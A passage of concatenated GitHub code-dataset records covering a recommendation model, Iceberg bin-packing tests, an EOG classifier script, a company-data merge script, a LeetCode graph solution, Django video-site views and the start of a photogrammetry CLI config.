din(self, dnn_config, deep_fea, name):\n cur_id, hist_id_col, seq_len = deep_fea['key'], deep_fea[\n 'hist_seq_emb'], deep_fea['hist_seq_len']\n\n seq_max_len = tf.shape(hist_id_col)[1]\n emb_dim = hist_id_col.shape[2]\n\n cur_ids = tf.tile(cur_id, [1, seq_max_len])\n cur_ids = tf.reshape(cur_ids,\n tf.shape(hist_id_col)) # (B, seq_max_len, emb_dim)\n\n din_net = tf.concat(\n [cur_ids, hist_id_col, cur_ids - hist_id_col, cur_ids * hist_id_col],\n axis=-1) # (B, seq_max_len, emb_dim*4)\n\n din_layer = dnn.DNN(\n dnn_config,\n self._l2_reg,\n name,\n self._is_training,\n last_layer_no_activation=True,\n last_layer_no_batch_norm=True)\n din_net = din_layer(din_net)\n scores = tf.reshape(din_net, [-1, 1, seq_max_len]) # (B, 1, ?)\n\n seq_len = tf.expand_dims(seq_len, 1)\n mask = tf.sequence_mask(seq_len)\n padding = tf.ones_like(scores) * (-2**32 + 1)\n scores = tf.where(mask, scores, padding) # [B, 1, seq_max_len]\n\n # Scale\n scores = tf.nn.softmax(scores) # (B, 1, seq_max_len)\n hist_din_emb = tf.matmul(scores, hist_id_col) # [B, 1, emb_dim]\n hist_din_emb = tf.reshape(hist_din_emb, [-1, emb_dim]) # [B, emb_dim]\n din_output = tf.concat([hist_din_emb, cur_id], axis=1)\n return din_output\n\n def build_predict_graph(self):\n tower_fea_arr = []\n for tower_id in range(self._tower_num):\n tower_fea = self._tower_features[tower_id]\n tower = self._model_config.towers[tower_id]\n tower_name = tower.input\n tower_fea = tf.layers.batch_normalization(\n tower_fea,\n training=self._is_training,\n trainable=True,\n name='%s_fea_bn' % tower_name)\n dnn_layer = dnn.DNN(tower.dnn, self._l2_reg, '%s_dnn' % tower_name,\n self._is_training)\n tower_fea = dnn_layer(tower_fea)\n tower_fea_arr.append(tower_fea)\n\n for tower_id in range(self._din_tower_num):\n tower_fea = self._din_tower_features[tower_id]\n tower = self._model_config.din_towers[tower_id]\n tower_name = tower.input\n tower_fea = self.din(tower.dnn, tower_fea, name='%s_dnn' % tower_name)\n tower_fea_arr.append(tower_fea)\n\n all_fea = tf.concat(tower_fea_arr, axis=1)\n final_dnn_layer = dnn.DNN(self._model_config.final_dnn, self._l2_reg,\n 'final_dnn', self._is_training)\n all_fea = final_dnn_layer(all_fea)\n output = tf.layers.dense(all_fea, self._num_class, name='output')\n\n self._add_to_prediction_dict(output)\n\n return self._prediction_dict\n","repo_name":"alibaba/EasyRec","sub_path":"easy_rec/python/model/multi_tower_din.py","file_name":"multi_tower_din.py","file_ext":"py","file_size_in_byte":4812,"program_lang":"python","lang":"en","doc_type":"code","stars":1284,"dataset":"github-code","pt":"61"} +{"seq_id":"72608179395","text":"import random\nfrom typing import List\n\nimport pytest\n\nfrom pyiceberg.utils.bin_packing import PackingIterator\n\n\n@pytest.mark.parametrize(\n \"splits, lookback, split_size, open_cost\",\n [\n ([random.randint(0, 64) for x in range(200)], 20, 128, 4), # random splits\n ([], 20, 128, 4), # no splits\n (\n [0] * 100 + [random.randint(0, 64) in range(10)] + [0] * 100,\n 20,\n 128,\n 4,\n ), # sparse\n ],\n)\ndef test_bin_packing(splits: List[int], lookback: int, split_size: int, open_cost: int) -> None:\n def weight_func(x: int) -> int:\n return max(x, open_cost)\n\n item_list_sums: List[int] = [sum(item) for item in PackingIterator(splits, split_size, lookback, weight_func)]\n assert all(split_size >= item_sum >= 0 for item_sum in item_list_sums)\n\n\n@pytest.mark.parametrize(\n \"splits, target_weight, lookback, largest_bin_first, expected_lists\",\n [\n (\n [36, 36, 36, 36, 73, 110, 128],\n 128,\n 2,\n True,\n [[110], [128], [36, 73], [36, 36, 36]],\n ),\n (\n [36, 36, 36, 36, 73, 110, 128],\n 128,\n 2,\n False,\n [[36, 36, 36], [36, 73], [110], [128]],\n ),\n (\n [64, 64, 128, 32, 32, 32, 32],\n 128,\n 1,\n True,\n [[64, 64], [128], [32, 32, 32, 32]],\n ),\n (\n [64, 64, 128, 32, 32, 32, 32],\n 128,\n 1,\n False,\n [[64, 64], [128], [32, 32, 32, 32]],\n ),\n ],\n)\ndef test_bin_packing_lookback(\n splits: List[int], target_weight: int, lookback: int, largest_bin_first: bool, expected_lists: List[List[int]]\n) -> None:\n def weight_func(x: int) -> int:\n return x\n\n assert list(PackingIterator(splits, target_weight, lookback, weight_func, largest_bin_first)) == expected_lists\n","repo_name":"apache/iceberg-python","sub_path":"tests/utils/test_bin_packing.py","file_name":"test_bin_packing.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"61"} +{"seq_id":"42221528678","text":"import pickle\nimport os\nfrom sklearn.metrics import accuracy_score\nimport main\nimport signal_preprocessing as pp\nimport feature_extraction as fx\n\n# read data\n\nfolder_path = os.path.abspath(\"../testing_data\")\n\n\ndef read_sig(path):\n signals_f = []\n signals_name_f = []\n channel_f = []\n files = os.listdir(path)\n for file in files:\n temp_sig = []\n for class_name in main.list_of_classes:\n if file.startswith(class_name):\n name = file.split('.')\n channel_f.append(name[0][-1]) # list ['h' , 'v' , 'h' ,'v' , .....]\n with open(path + \"\\\\\" + file, 'r') as f:\n for line in f:\n s = line.strip() # Remove the newline character\n temp_sig.append(int(s))\n signals_f.append(temp_sig) # list of signals N x 251 where N is number of signals in 3-class file\n signals_name_f.append(class_name) # signal class (\"asagi\", \"kirp\", \"sag\", \"sol\", \"yukari\")\n break\n return signals_f, signals_name_f, channel_f\n\n\nsignals, signals_name, channel = read_sig(folder_path)\n\nsignals_concat = []\nsignals_class_concat = []\nfor i in range(0, len(signals), 2):\n signals_concat.append(signals[i] + signals[i + 1])\n signals_class_concat.append(signals_name[i])\n\n# preprocessing\nfiltered_signals = []\nresampled_signals = []\nremovedDC_component_signals = []\nfor i in range(len(signals_concat)):\n # 1- Signals Filtering\n filtered_signals.append(\n pp.butter_bandpass_filter(signals_concat[i], Low_Cutoff=0.5, High_Cutoff=20.0, Sampling_Rate=176, order=2))\n # 2- Signals resampling\n resampled_signals.append(pp.Resampling(filtered_signals[i]))\n # 3- Signals DC removal\n removedDC_component_signals.append((pp.DC_removal(resampled_signals[i])))\n\n# Normalize the signal\nsignal_normalized = pp.signal_normalize(removedDC_component_signals)\n\n# Feature Extraction in Time Domain\n# 1- using Auto Regressive\ncoefficients = fx.auto_regressive(signal_normalized)\n\nY = pp.encoder(main.list_of_classes, signals_class_concat)\n\n\n# load the model\ndef random_forest_test(x_testing, y_testing, feature_name):\n filename = 'rf_model' + feature_name + '.pkl'\n y_pred = []\n # Load the model if the file exists\n if os.path.exists(filename):\n with open(filename, 'rb') as file:\n rf_model = pickle.load(file)\n # Make predictions on the testing data\n y_pred = rf_model.predict(x_testing)\n\n # Evaluate the performance of the classifier\n accuracy = accuracy_score(y_testing, y_pred)\n print('Accuracy random forest using ' + feature_name + \": \" + str(accuracy * 100))\n print('Random forest prediction values ', y_pred)\n print('Random forest Real values ', y_testing)\n\n print('Model loaded and used for prediction.')\n else:\n print('Model file does not exist.')\n\n return y_pred\n\n\ndef decision_tree(x_test, y_test, feature_name):\n filename = 'DT_model' + feature_name + '.pkl'\n y_pred = []\n # Load the model if the file exists\n if os.path.exists(filename):\n with open(filename, 'rb') as file:\n tree = pickle.load(file)\n\n # Make predictions on new data\n y_pred = tree.predict(x_test)\n accuracy = accuracy_score(y_test, y_pred)\n print('Accuracy DT using ' + feature_name + \": \" + str(accuracy * 100))\n print('Decision tree prediction values ', y_pred)\n print('Decision tree Real values ', accuracy)\n print('Model loaded and used for prediction.')\n else:\n print('Model file does not exist.')\n\n return y_pred\n\n\n# make prediction\n\n\"\"\"\n0 -> asagi -> down\n1 -> krip -> blink\n2 -> sag -> right\n3 -> sol -> left\n4 -> yukari -> up\n\"\"\"\n\nprediction = random_forest_test(coefficients, Y, \"coef\")\n\n# we will get class name (up ,down ,right ,left)\norders = []\n\nfor i in prediction:\n if i == 0:\n orders.append('down')\n if i == 1:\n orders.append('blink')\n if i == 2:\n orders.append('right')\n if i == 3:\n orders.append('left')\n if i == 4:\n orders.append('top')\n\nprint(orders)\n","repo_name":"YoussefNader1/EOG-based-interface","sub_path":"Scripts/testing_script.py","file_name":"testing_script.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34841597064","text":"# read from final_updated.tsv\ncompDict = {}\n\n# general checking function \ndef check(items):\n for key in items:\n if items[key] == \"n/a\" or items[key] == \"0\" or items[key] == \"Unknown\":\n items[key] = \"\"\n return items\n\n# consolidate all the merged data\nwith open('merged.tsv','r') as in_file:\n for line in in_file:\n name, date, hq, category, audience, model, description, homepage_url, twitter_url, angellist_url, cb_url, linkedin_url, facebook_url, tags = line.split(\"\\t\")\n \n cbDBDetails = {\"date\": date, \n \"hq\": hq, \n \"category\": category, \n \"audience\": audience, \n \"model\": model, \n \"description\": description, \n \"main_url\": homepage_url, \n \"twitter_url\": twitter_url, \n \"angellist_url\": angellist_url, \n \"crunchbase_url\": cb_url, \n \"linkedin_url\": linkedin_url,\n \"facebook_url\": facebook_url,\n \"tags\": tags}\n \n cbDBDetails = check(cbDBDetails)\n \n compDict[name] = cbDBDetails\n\n# merging david checked files\nwith open('DAVID_FINAL_CHECK.txt', 'r') as in_file:\n for line in in_file:\n name, queries = line.split(\"\\t\")\n\n queries = eval(queries)\n\n if name not in compDict.keys():\n cbDBDetails = {\"date\": \"\", \n \"hq\": \"\", \n \"category\": \"\", \n \"audience\": \"\", \n \"model\": \"\", \n \"description\": \"\", \n \"main_url\": \"\", \n \"twitter_url\": \"\", \n \"angellist_url\": \"\", \n \"crunchbase_url\": \"\", \n \"linkedin_url\": \"\",\n \"facebook_url\": \"\",\n \"tags\": \"\"}\n compDict[name] = cbDBDetails\n\n for query in queries:\n compDict[name][query] = queries[query]\n\n # General checking method\n # for query in queries:\n # text = query\n # if queries[query]:\n # text = text + queries[query]\n \n # print(text)\n\n# merging neel checked files\nwith open('new_links2.tsv', 'r') as in_file:\n for line in in_file:\n name, queries = line.split(\"\\t\")\n\n queries = eval(queries)\n\n if name not in compDict.keys():\n cbDBDetails = {\"date\": \"\", \n \"hq\": \"\", \n \"category\": \"\", \n \"audience\": \"\", \n \"model\": \"\", \n \"description\": \"\", \n \"main_url\": \"\", \n \"twitter_url\": \"\", \n \"angellist_url\": \"\", \n \"crunchbase_url\": \"\", \n \"linkedin_url\": \"\",\n \"facebook_url\": \"\",\n \"tags\": \"\"}\n compDict[name] = cbDBDetails\n\n for query in queries:\n compDict[name][query] = queries[query]\n\n # General checking method\n # for query in queries:\n # text = query\n # if queries[query]:\n # text = text + queries[query]\n \n # print(text)\n\n\n # Adding new links from manually checked\nwith open('thingsToManuallyCheck.txt', 'r') as in_file:\n for line in in_file:\n name, queries = line.split(\"\\t\")\n\n queries = eval(queries)\n\n for query in queries:\n compDict[name][query] = queries[query] \n \n\n# generalized merge func\ndef merge(raw, additional):\n for data in additional:\n if \"Unknown\" in additional[data]:\n continue\n if raw[data] == \"\":\n if additional[data] == \"Unknown -\":\n print(additional[data]) \n raw[data] = additional[data]\n \n return raw\n\n\nitemsToDelete = []\n\nwith open('compData.tsv','r') as in_file:\n count = 0\n for line in in_file:\n count = count + 1\n if (count>1):\n compName = line.split(\"\\t\")[0]\n for company in compDict:\n if (((company + \" \") == compName[0:len(company)+1]) or ((company + \",\") == compName[0:len(company)+1]) or ((company + \".\") == compName[0:len(company)+1]) or ((company + \"'\") == compName[0:len(company)+1])) and compName!=company:\n compDict[compName] = compDict[company].copy()\n itemsToDelete.append(company)\n\n\nfor item in itemsToDelete:\n if item in compDict.keys():\n del compDict[item]\n\n# merge with original data\nwith open('compData.tsv','r') as in_file:\n count = 0\n for line in in_file:\n count = count + 1\n if (count>1):\n compName, date, hq, visible, category, audience, model, description, main_url, twitter_url, angellist_url, crunchbase_url, tags = line.split(\"\\t\")\n data = {\"date\": date, \n \"hq\": hq, \n \"category\":category, \n \"audience\":audience, \n \"model\":model, \n \"description\": description, \n \"main_url\": main_url, \n \"twitter_url\": twitter_url, \n \"angellist_url\": angellist_url, \n \"crunchbase_url\": crunchbase_url,\n \"linkedin_url\": \"\",\n \"facebook_url\": \"\",\n \"tags\": tags}\n\n if compName not in compDict.keys():\n continue\n\n data = merge(compDict[compName], data)\n\n\n compDict[compName] = data\n\n# Merge with new Tags\ndef findComp(url):\n for company in compDict:\n if url in compDict[company][\"main_url\"] or compDict[company][\"main_url\"] in url:\n return company\n return \"\"\n\ndef stringTags(tags):\n tagString = \"\"\n for tag in tags:\n tagString += tag[0] + \", \"\n return tagString[:-2]\n\nfor compName in compDict:\n for item in compDict[compName]:\n if \"Unknown\" in compDict[compName][item]:\n compDict[compName][item] = \"\"\n\nfor compName in compDict:\n for item in compDict[compName]:\n if len(compDict[compName][item])>0:\n if \" \" == compDict[compName][item][0]:\n compDict[compName][item] = compDict[compName][item][1:]\n if \"\\n\" == compDict[compName][item][-2:]:\n compDict[compName][item] = compDict[compName][item][:-2]\n\nnewTags = []\n\nwith open(\"top_tags.tsv\", \"r\") as in_file:\n for line in in_file:\n compUrl, tags = line.split(\"\\t\")\n tags = eval(tags)\n compName = findComp(compUrl)\n if compName not in compDict:\n print(compUrl)\n elif \"\\n\" == compDict[compName][\"tags\"] or len(compDict[compName][\"tags\"])==0:\n newTags.append(compName)\n compDict[compName][\"tags\"] = stringTags(tags)\n\nwith open('8-14-20-final.csv', 'w') as out_file:\n out_file.write(\"name,\"+\",\".join(list(compDict['Correa Porto'].keys()))+\"\\n\")\n for compName in compDict:\n line = \"\"\n if \",\" in compName:\n line = \"\\\"\" + compName + \"\\\"\"\n else:\n line = compName\n for description in compDict[compName]:\n item = compDict[compName][description]\n if \"\\n\" in item:\n item = item[:-1]\n if \",\" in item:\n line += \",\\\"\" + item + \"\\\"\"\n else:\n line += \",\" + item\n if item == \"\":\n line += \"n/a\"\n line += \"\\n\"\n out_file.write(line)\n\nwith open('final.tsv', 'w') as out_file:\n out_file.write(\"name\\t\"+\"\\t\".join(list(compDict['Correa Porto'].keys()))+\"\\n\")\n for compName in compDict:\n line = compName\n for description in compDict[compName]:\n line += \"\\t\" + compDict[compName][description]\n if compDict[compName][description] == \"\":\n line += \"n/a\"\n if \"\\n\" in line:\n line = line[:-1]\n line += \"\\n\"\n out_file.write(line)\n\n\nthingsToManuallyCheck = {}\n\nfor compName in compDict:\n if compDict[compName][\"main_url\"]==\"\": \n for item in compDict[compName]:\n if \"url\" in item and compDict[compName][item]==\"\":\n if compName not in thingsToManuallyCheck:\n thingsToManuallyCheck[compName] = {}\n thingsToManuallyCheck[compName][item] = \"\"\n\n \nwith open('thingsToManuallyCheck.tsv', 'w') as out_file:\n for company in thingsToManuallyCheck:\n line = company + \"\\t\" + str(thingsToManuallyCheck[company]) + \"\\n\"\n out_file.write(line)","repo_name":"NeerajRattehalli/legal.io","sub_path":"consolidate.py","file_name":"consolidate.py","file_ext":"py","file_size_in_byte":8874,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"38033352073","text":"from django.shortcuts import render\n\n# Create your views here.\n\nfrom social_core.exceptions import AuthAlreadyAssociated\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponse\n\n\nfrom .forms import UserForm, LoginForm\nfrom django.contrib.auth import login, logout , authenticate\nfrom django.template import RequestContext\nfrom django.contrib import messages\n\n\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\ndef signup(request): \n if request.method == \"POST\":\n form = UserForm(request.POST)\n if form.is_valid():\n new_user = User.objects.create_user(**form.cleaned_data)\n login(request, new_user)\n return redirect('youtube:video_list')\n else:\n form = UserForm()\n return render(request, 'youtube/signup.html', {'form': form})\n\n return render(request, 'youtube/signup.html', {\n 'form': form\n })\n \ndef signin(request):\n if request.method == \"POST\":\n form = LoginForm(request.POST)\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username = username, password = password)\n if user is not None:\n login(request, user)\n return redirect('youtube:video_list')\n else:\n username_qs = User.objects.filter(username=username)\n if username_qs.exists():\n messages.error(request,'비밀번호를 확인해주세요.')\n else:\n messages.error(request,'계정이 존재하지 않습니다.')\n return redirect('youtube:login')\n else:\n form = LoginForm()\n\n return render(request, 'youtube/login.html', {'form': form})\n\ndef signout(request):\n logout(request)\n return redirect('youtube:login')\n\ndef who(request):\n user_pk = request.session.get('user') #login함수에서 추가한 request.session['user'] = user.id \n if user_pk:\n user = User.objects.get(pk=user_pk)\n return render(request, 'youtube/who.html', {\n 'user' : user\n })\n return render(request, 'youtube/who.html')\n\n\ndef account_mod(request):\n if request.method == \"POST\":\n user = request.user\n new_username = request.POST.get('username')\n new_email = request.POST.get('email')\n \n username_qs = User.objects.filter(username=new_username)\n if username_qs.exists():\n if not user.username == new_username:\n messages.error(request,new_username+'은 중복된 이름입니다.')\n return redirect('youtube:account_mod')\n else:\n user.email = new_email\n user.username = new_username\n user.save()\n return redirect('youtube:who')\n else:\n user.email = new_email\n user.username = new_username\n user.save()\n return redirect('youtube:who')\n \n else:\n return render(request, 'youtube/accountmod.html')\n\nfrom django.contrib.auth.hashers import check_password\n\ndef pw_mod(request):\n context= {}\n if request.method == \"POST\":\n current_password = request.POST.get(\"origin_password\")\n user = request.user\n if check_password(current_password,user.password):\n new_password = request.POST.get(\"password1\")\n password_confirm = request.POST.get(\"password2\")\n if new_password == password_confirm:\n if new_password == current_password:\n context.update({'error':\"새로운 비밀번호가 현재 비밀번호와 같습니다. 다른 비밀번호로 입력하세요.\"})\n else:\n user.set_password(new_password)\n user.save()\n login(request,user)\n return redirect('youtube:who')\n else:\n context.update({'error':\"새로운 비밀번호를 다시 확인해주세요.\"})\n else:\n context.update({'error':\"현재 비밀번호가 일치하지 않습니다.\"})\n\n return render(request, \"youtube/pwmod.html\",context)\n\ndef account_de(request):\n user = request.user\n user.delete()\n return redirect('youtube:video_list')\n\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.core.files.storage import FileSystemStorage\nfrom django.utils import timezone\nfrom django.contrib import messages\n\n#모든 게시물 가져오기\ndef video_list(request):\n videos = Video.objects.all()\n return render(request, 'youtube/index.html', {\n 'videos' : videos\n })\n \n#사용자별 게시물 가져오기\ndef video_list_mych(request):\n user = request.user\n videos = Video.objects.filter(writer = user).order_by('-uploaded_at')\n return render(request, 'youtube/mychannel_list.html',{\n 'videos' : videos\n })\n\n#사용자별 좋아요, 싫어요 선택한 비디오 리스트\ndef my_likelist(request):\n user = request.user\n likevideos = Video.objects.filter(like_users = user).order_by('-uploaded_at')\n dislikevideos = Video.objects.filter(dislike_users = user).order_by('-uploaded_at')\n return render(request, 'youtube/likelist.html',{\n 'likevideos' : likevideos,\n 'dislikevideos' : dislikevideos\n })\n\n#사용자별 댓글 리스트\ndef my_commentlist(request):\n user = request.user\n my_comments = Comment.objects.filter(commenter = user).order_by('-comment_date')\n return render(request, 'youtube/commentlist.html',{\n 'my_comments' : my_comments\n })\n#비디오 업로드\ndef video_upload(request):\n if request.method == \"POST\":\n title = request.POST['title']\n video = request.FILES['videofile']\n des = request.POST['des']\n writer = request.user\n content = Video(title=title,file=video,des=des,writer=writer)\n content.save()\n return redirect('youtube:video_list_mych')\n else:\n return render(request, 'youtube/mychannel_upload.html')\n\n#비디오 수정\ndef video_update(request, id):\n video = Video.objects.get(pk=id)\n if request.method == \"POST\":\n video.title = request.POST['title']\n video.des = request.POST['des']\n video.uploaded_at = timezone.datetime.now()\n video.save()\n return redirect('youtube:video_list_mych')\n else:\n return render(request, 'youtube/video_update.html',{'video': video,})\n return render(request, 'youtube/video_update.html',{'video': video,})\n\n#비디오 삭제\ndef video_delete(request, id):\n if request.method == \"POST\":\n video = Video.objects.get(pk=id)\n video.delete()\n return redirect('youtube:video_list_mych')\n\n#비디오 디텡일 페이지\ndef detail_page(request, id):\n video = get_object_or_404(Video,pk=id)\n comments = Comment.objects.all()\n if comments.exists():\n comments.order_by('-comment_date')\n return render(request, 'youtube/video.html', {\n 'comments':comments,\n 'video': video\n })\n else:\n return render(request, 'youtube/video.html', {\n 'video': video\n })\n\n#좋아요 불러오기\ndef like_video(request, id):\n video = get_object_or_404(Video, pk=id)\n user = request.user\n\n if user in video.like_users.all():\n video.like_users.remove(request.user)\n else:\n if user in video.dislike_users.all():\n video.dislike_users.remove(request.user)\n video.like_users.add(request.user)\n\n return redirect('youtube:detail',id)\n\n#싫어요 불러오기\ndef dislike_video(request, id):\n video = get_object_or_404(Video, pk=id)\n user = request.user\n\n if user in video.dislike_users.all():\n video.dislike_users.remove(request.user)\n else:\n if user in video.like_users.all():\n video.like_users.remove(request.user)\n video.dislike_users.add(request.user)\n\n return redirect('youtube:detail',id)\n\n#동영상 저장여부 불러오기\ndef save_video(request, id):\n video = get_object_or_404(Video, pk=id)\n user = request.user\n\n if user in video.save_users.all():\n video.save_users.remove(request.user)\n else:\n video.save_users.add(request.user)\n\n return redirect('youtube:detail',id)\n\n#인기순으로 비디오 정렬\ndef top(request):\n videos = Video.objects.all().order_by('-hits')\n return render(request, 'youtube/top.html', {\n 'videos' : videos\n })\n\nfrom .models import Comment\n\n#사용자별 동영상 보관함\ndef savelist(request):\n user = request.user\n savevideos = Video.objects.filter(save_users = user).order_by('-uploaded_at')\n return render(request, 'youtube/savelist.html',{\n 'savevideos' : savevideos\n })\n\n\n\nfrom .models import Comment\n\n#댓글 쓰기\ndef comment_write(request, id):\n if request.method == \"POST\":\n video = get_object_or_404(Video,pk=id)\n comment_body = request.POST['comment']\n commenter = request.user\n comment = Comment(video=video,commenter=commenter,comment_body=comment_body)\n comment.save()\n return redirect('youtube:detail',id)\n else:\n return render(request, 'youtube/video.html',{\n 'video': video,\n })\n\n#댓글 삭제\ndef comment_delete(request, video_id, comment_id):\n video = get_object_or_404(Video,pk=video_id)\n comment = get_object_or_404(Comment, id=comment_id)\n if comment.commenter == request.user:\n comment.delete()\n return redirect('youtube:detail',video_id)\n return render(request, 'youtube/video.html', {\n 'video': video,\n 'comment':comment,\n })\n\n\n#내 댓글 삭제\ndef my_comment_delete(request, video_id, comment_id):\n video = get_object_or_404(Video,pk=video_id)\n comment = get_object_or_404(Comment, id=comment_id)\n if comment.commenter == request.user:\n comment.delete()\n return redirect('youtube:my_commentlist')\n\nfrom .models import Video\nfrom django.db.models import Q\n\ndef search(request):\n return render(request, 'youtube/search.html')\n\n#검색 결과\ndef search_result(request):\n videos = Video.objects.order_by('-hits').all()\n query = None\n\n if 'q' in request.GET:\n query = request.GET.get('q','')\n videos = videos.filter(\n Q(title__icontains=query) | \n Q(des__icontains=query) \n )\n return render(request, 'youtube/search.html',{\n 'query':query,\n 'videos':videos\n })\n\n\n","repo_name":"seunghyun1003/youtube","sub_path":"youtube/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40497765977","text":"'''\nThere are n cities numbered from 0 to n - 1 and n - 1 roads such that there is only one way to travel between two different cities (this network form a tree). Last year, The ministry of transport decided to orient the roads in one direction because they are too narrow.\n\nRoads are represented by connections where connections[i] = [ai, bi] represents a road from city ai to city bi.\n\nThis year, there will be a big event in the capital (city 0), and many people want to travel to this city.\n\nYour task consists of reorienting some roads such that each city can visit the city 0. Return the minimum number of edges changed.\n\nIt's guaranteed that each city can reach city 0 after reorder.\n\n \n\nExample 1:\n\nInput: n = 6, connections = [[0,1],[1,3],[2,3],[4,0],[4,5]]\nOutput: 3\nExplanation: Change the direction of edges show in red such that each node can reach the node 0 (capital).\n\n'''\n\nclass Solution:\n def minReorder(self, n: int, connections: List[List[int]]) -> int:\n \n edges = {(a,b) for a,b in connections}\n neighbours = { city : [] for city in range (n)}\n changes = 0\n\n # populate neighbours\n for a , b in connections :\n neighbours[a].append(b)\n neighbours[b].append(a)\n\n visited = set()\n # dfs and check if neighbour can reach city 0\n def dfs(city) :\n nonlocal changes,neighbours, edges, visited\n for neighbour in neighbours[city] :\n if neighbour in visited :\n continue \n \n visited.add(neighbour)\n\n if (neighbour, city) not in edges :\n changes += 1\n\n dfs(neighbour)\n\n visited.add(0) # make city 0 to be visited\n dfs(0)\n\n return changes\n \n# failed attempt \n # self.count = 0 \n\n # adj = [set()] * n # adjacency list : --> adj[a] => [(b,0) or (b,1)] : 1 -> original 0 -> artificial\n\n # # create the adj list \n # for a,b in connections :\n # adj[a].add((b,1))\n # adj[b].add((a,0)) \n\n # print(adj)\n # visited = set()\n # def dfs(parent,node) :\n # if node == n - 1 :\n # return \n # for child,sign in adj[node] :\n # if child != parent and child not in visited:\n # visited.add(child)\n # self.count += 1 if sign == 0 else 0\n # dfs(parent = node,node = child)\n\n # # call dfs\n # dfs(0,0)\n\n # return self.count \n\n ","repo_name":"lonebots/python-programming","sub_path":"leet-code/graph/1466-reorder-routes-to-make-all-path-lead-to-city-zero.py","file_name":"1466-reorder-routes-to-make-all-path-lead-to-city-zero.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"24689251991","text":"import argparse\nimport json\nimport sys\nimport os\nfrom opendm import io\nfrom opendm import log\n\nwith open(os.path.join(os.path.dirname(__file__), '..', 'VERSION')) as version_file:\n __version__ = version_file.read().strip()\n\n# parse arguments\nprocessopts = ['dataset', 'features', 'matching', 'sparse', 'georegister', 'dense', 'georeferencing', 'dem', 'mesh', 'texture', 'ortho']\n\nclass RerunFrom(argparse.Action):\n def __call__(self, parser, namespace, values, option_string=None):\n setattr(namespace, self.dest, processopts[processopts.index(values):])\n setattr(namespace, self.dest + '_is_set', True)\n\nclass StoreTrue(argparse.Action):\n def __call__(self, parser, namespace, values, option_string=None):\n setattr(namespace, self.dest, True)\n setattr(namespace, self.dest + '_is_set', True)\n\nclass StoreValue(argparse.Action):\n def __call__(self, parser, namespace, values, option_string=None):\n setattr(namespace, self.dest, values)\n setattr(namespace, self.dest + '_is_set', True)\n\nparser = argparse.ArgumentParser(prog='run.py',\n usage='%(prog)s [options] <project>')\nargs = None\n\ndef config(argv=None):\n global args\n\n if args is not None and argv is None:\n return args\n \n parser.add_argument('project',\n metavar='<path>',\n action=StoreValue,\n nargs='?',\n help='Path to the project folder or name of the project in a workspace (when using --project-path)')\n\n parser.add_argument('--project-path',\n metavar='<path>',\n action=StoreValue,\n help='Path to the workspace folder (for compatibility with ODM)')\n\n parser.add_argument('--resize-to',\n metavar='<integer>',\n action=StoreValue,\n default=2048,\n type=int,\n help='Resizes images by the largest side for feature extraction purposes only. '\n 'Set to -1 to disable. This does not affect the final orthophoto '\n ' resolution quality and will not resize the original images. Default: %(default)s')\n\n parser.add_argument('--mesh-octree-depth',\n metavar='<positive integer>',\n action=StoreValue,\n default=10,\n type=int,\n help=('Oct-tree depth used in the mesh reconstruction, '\n 'increase to get more vertices, recommended '\n 'values are 8-12. Default: %(default)s'))\n\n parser.add_argument('--mesh-size',\n metavar='<positive integer>',\n action=StoreValue,\n default=200000,\n type=int,\n help=('The maximum vertex count of the output mesh. '\n 'Default: %(default)s'))\n\n parser.add_argument('--matcher-neighbors',\n metavar='<integer>',\n action=StoreValue,\n default=8,\n type=int,\n help='Number of nearest images to pre-match based on GPS '\n 'exif data. Set to 0 to skip pre-matching. '\n 'Neighbors works together with Distance parameter, '\n 'set both to 0 to not use pre-matching. OpenSFM '\n 'uses both parameters at the same time, Bundler '\n 'uses only one which has value, prefering the '\n 'Neighbors parameter. Default: %(default)s')\n\n parser.add_argument('--matcher-distance',\n metavar='<integer>',\n action=StoreValue,\n default=0,\n type=int,\n help='Distance threshold in meters to find pre-matching '\n 'images based on GPS exif data. Set both '\n 'matcher-neighbors and this to 0 to skip '\n 'pre-matching. Default: %(default)s')\n\n parser.add_argument('--depthmap-resolution',\n metavar='<positive float>',\n action=StoreValue,\n type=float,\n default=640,\n help=('Controls the density of the point cloud by setting the resolution of the depthmap images. Higher values take longer to compute '\n 'but produce denser point clouds. '\n 'Default: %(default)s'))\n\n parser.add_argument('--end-with', '-e',\n metavar='<string>',\n action=StoreValue,\n default='odm_report',\n choices=processopts,\n help=('Can be one of:' + ' | '.join(processopts)))\n\n rerun = parser.add_mutually_exclusive_group()\n\n rerun.add_argument('--rerun', '-r',\n metavar='<string>',\n action=StoreValue,\n choices=processopts,\n help=('Can be one of:' + ' | '.join(processopts)))\n\n rerun.add_argument('--rerun-all',\n action=StoreTrue,\n nargs=0,\n default=False,\n help='force rerun of all tasks')\n\n rerun.add_argument('--rerun-from',\n action=RerunFrom,\n metavar='<string>',\n choices=processopts,\n help=('Can be one of:' + ' | '.join(processopts)))\n\n # parser.add_argument('--min-num-features',\n # metavar='<integer>',\n # action=StoreValue,\n # default=8000,\n # type=int,\n # help=('Minimum number of features to extract per image. '\n # 'More features leads to better results but slower '\n # 'execution. Default: %(default)s'))\n \n # parser.add_argument('--crop',\n # metavar='<positive float>',\n # action=StoreValue,\n # default=3,\n # type=float,\n # help=('Automatically crop image outputs by creating a smooth buffer '\n # 'around the dataset boundaries, shrinked by N meters. '\n # 'Use 0 to disable cropping. '\n # 'Default: %(default)s'))\n\n \n parser.add_argument('--camera-model',\n metavar='<string>',\n action=StoreValue,\n default='simple_radial',\n choices=['simple_radial', 'radial', 'simple_pinhole', 'pinhole', 'opencv', 'full_opencv', 'simple_radial_fisheye', 'radial_fisheye', 'opencv_fisheye', 'fov', 'thin_prism_fisheye'],\n help=('Camera model: [simple_radial, radial, simple_pinhole, pinhole, opencv, full_opencv, simple_radial_fisheye, 